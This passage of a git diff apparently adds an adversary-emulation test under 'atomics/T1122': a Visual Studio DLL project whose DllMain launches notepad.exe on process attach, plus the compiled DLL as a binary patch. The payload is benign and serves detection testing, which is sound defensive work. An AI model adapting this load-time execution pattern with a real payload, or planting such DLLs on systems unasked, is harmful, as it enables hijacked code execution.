+    <ClInclude Include="pch.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="dllmain.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+    <ClCompile Include="pch.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+</Project>
\ No newline at end of file
diff --git a/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.user b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.user
new file mode 100644
index 00000000..88a55094
--- /dev/null
+++ b/atomics/T1122/src/atomicNotepad/atomicNotepad.vcxproj.user
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>
\ No newline at end of file
diff --git a/atomics/T1122/src/atomicNotepad/dllmain.cpp b/atomics/T1122/src/atomicNotepad/dllmain.cpp
new file mode 100644
index 00000000..3aa1a7ca
--- /dev/null
+++ b/atomics/T1122/src/atomicNotepad/dllmain.cpp
@@ -0,0 +1,19 @@
+// dllmain.cpp : Defines the entry point for the DLL application.
+#include "pch.h"
+
+BOOL APIENTRY DllMain(HMODULE hModule,
+    DWORD  ul_reason_for_call,
+    LPVOID lpReserved
+)
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+        WinExec("notepad.exe", SW_SHOWNORMAL);
+    case DLL_THREAD_ATTACH:
+    case DLL_THREAD_DETACH:
+    case DLL_PROCESS_DETACH:
+        break;
+    }
+    return TRUE;
+}
diff --git a/atomics/T1122/src/atomicNotepad/framework.h b/atomics/T1122/src/atomicNotepad/framework.h
new file mode 100644
index 00000000..54b83e94
--- /dev/null
+++ b/atomics/T1122/src/atomicNotepad/framework.h
@@ -0,0 +1,5 @@
+#pragma once
+
+#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from Windows headers
+// Windows Header Files
+#include <windows.h>
diff --git a/atomics/T1122/src/atomicNotepad/pch.cpp b/atomics/T1122/src/atomicNotepad/pch.cpp
new file mode 100644
index 00000000..64b7eef6
--- /dev/null
+++ b/atomics/T1122/src/atomicNotepad/pch.cpp
@@ -0,0 +1,5 @@
+// pch.cpp: source file corresponding to the pre-compiled header
+
+#include "pch.h"
+
+// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
diff --git a/atomics/T1122/src/atomicNotepad/pch.h b/atomics/T1122/src/atomicNotepad/pch.h
new file mode 100644
index 00000000..885d5d62
--- /dev/null
+++ b/atomics/T1122/src/atomicNotepad/pch.h
@@ -0,0 +1,13 @@
+// pch.h: This is a precompiled header file.
+// Files listed below are compiled only once, improving build performance for future builds.
+// This also affects IntelliSense performance, including code completion and many code browsing features.
+// However, files listed here are ALL re-compiled if any one of them is updated between builds.
+// Do not add files here that you will be updating frequently as this negates the performance advantage.
+
+#ifndef PCH_H
+#define PCH_H
+
+// add headers that you want to pre-compile here
+#include "framework.h"
+
+#endif //PCH_H
diff --git a/atomics/T1122/src/x64/Release/atomicNotepad.dll b/atomics/T1122/src/x64/Release/atomicNotepad.dll
new file mode 100644
index 0000000000000000000000000000000000000000..d198b0aac485fde940250276db0e6a43a054a622
GIT binary patch
literal 9728
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

literal 0
HcmV?d00001